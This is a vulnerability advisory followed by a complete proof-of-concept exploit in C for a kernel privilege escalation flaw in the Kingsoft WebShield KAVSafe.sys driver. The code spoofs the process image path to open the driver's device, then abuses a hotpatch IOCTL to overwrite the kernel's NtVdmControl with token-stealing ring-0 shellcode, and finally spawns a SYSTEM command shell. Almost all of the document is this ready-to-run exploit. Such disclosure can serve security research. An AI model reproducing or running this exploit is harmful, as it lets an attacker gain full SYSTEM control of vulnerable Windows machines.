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Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege Escalation Vulnerability



Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS 
Kingsoft WebShield <= 3.5.1.2 (2010.5.23)

Signature Date: 2010-5-23 2:33:54

And

KAVSafe.sys <= 2010.4.14.609
Signature Date&#65306;2010-4-14 13:42:26

DETAILS:
Kavsafe.sys create a device called \Device\KAVSafe , and handles DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data

EXPLOIT CODE:

#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
						  HANDLE ProcessHandle,
						  DWORD ProcessInformationClass,
						  PVOID ProcessInformation,
						  ULONG ProcessInformationLength,
						  PULONG ReturnLength
    );

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
	
    ULONG Flags;
    ULONG DebugFlags;
	
    HANDLE ConsoleHandle;
    ULONG  ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
	
    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID Environment;              // NtAllocateVirtualMemory
	
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
	
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // ProcessParameters
    UNICODE_STRING DesktopInfo;     // ProcessParameters
    UNICODE_STRING ShellInfo;       // ProcessParameters
    UNICODE_STRING RuntimeData;     // ProcessParameters
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.
	
    PVOID ImageBaseAddress;
    PVOID Ldr;
    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
} PEB, *PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
    LONG ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (
						   LONG SystemInformationClass,
						 PVOID SystemInformation,
						   ULONG SystemInformationLength,
						   PULONG ReturnLength
    );

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef LONG (WINAPI *PNT_VDM_CONTROL) (
			   ULONG Service,
			   PVOID ServiceData
    );
VOID __declspec(naked) R0ShellCodeXP()
{
	__asm
	{
		mov eax,0xffdff124
		mov eax,[eax]
		mov esi ,dword ptr[eax+0x220]
		mov eax,esi
searchxp:
		mov eax,dword ptr[eax+0x88]
		sub eax,0x88
		mov edx,dword ptr[eax+0x84]
		cmp edx,4
		jnz searchxp
		mov eax,dword ptr[eax+0xc8]
		mov dword ptr[esi + 0xc8] , eax
		ret 8 
	}
}
VOID NopNop()
{
	printf("nop!\n");
}

#include "malloc.h"
int main(int argc, char* argv[])
{

	printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n"
		"Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n"
		"2010-5-23\n"
		"By Lincoin \n\nPress Enter");
	HKEY hkey ; 
	WCHAR InstallPath[MAX_PATH];
	DWORD datatype ; 
	DWORD datasize = MAX_PATH * sizeof(WCHAR);
	ULONG oldlen ;
	PVOID pOldBufferData = NULL ; 

	if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS)
	{
		if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)
		{
			RegCloseKey(hkey);
			printf("KSWebShield not installed\n");
			getchar();
			return 0 ;
		}

		RegCloseKey(hkey);
	}
	else
	{
		printf("KSWebShield not installed\n");
		getchar();
		return 0 ;
	}
	wcscat(InstallPath , L"\\kavinst.exe");


	PROCESS_BASIC_INFORMATION pbi ; 

	PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;
	
	pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess");
	
	pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);

	PPEB peb ; 

	peb = (PPEB)pbi.PebBaseAddress;
	oldlen = peb->ProcessParameters->ImagePathName.Length;
	peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);
	pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);
	RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);
	RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length );
	HANDLE hdev = CreateFile("\\\\.\\KAVSafe" , 
		FILE_READ_ATTRIBUTES , 
		FILE_SHARE_READ , 
		0,
		OPEN_EXISTING , 
		0,
		0);

	if (hdev==INVALID_HANDLE_VALUE)
	{
		printf("cannot open device %u\n", GetLastError());
		getchar();
		return 0 ; 
	}
	RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length);
	peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ; 
	

	PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation  ;
	pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation");
	X_SYSTEM_MODULE_INFORMATION sysmod ; 
	HMODULE KernelHandle ; 

	pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);
	
    KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);
	
	if (KernelHandle == 0 )
	{
		printf("cannot load ntoskrnl!\n");
		getchar();
		return 0 ; 
	}
	PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");

	if (pNtVdmControl == 0 )
	{
		printf("cannot find NtVdmControl!\n");
		getchar();
		return 0 ; 		
	}
	pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle  );

	printf("NtVdmControl = %08x" , pNtVdmControl );
	
	getchar();
	ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;
	ULONG pShellCode = (ULONG)R0ShellCodeXP; 


	PVOID Data = malloc(0x48 + ShellCodeSize);

	CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);
	
	
	
	CHAR ModuleName[68]= "ntoskrnl.exe" ; 
	RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));
	*(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;
	*(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;
	
	ULONG btr ; 
	if (!DeviceIoControl(hdev ,
		IOCTL_HOTPATCH_KERNEL_MODULE , 
		Data , 
		0x48 + ShellCodeSize , 
		NULL , 
		0,
		&btr , 0 
		))
	{
		printf("cannot device io control!%u\n" , GetLastError());
		getchar();
		return 0;
	}

	CloseHandle(hdev);

	PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");
	pR3NtVdmControl(0,0);
	
	WinExec("cmd.exe" , SW_SHOW);
	printf("OK!\n ");

	getchar();

	return 0; 
}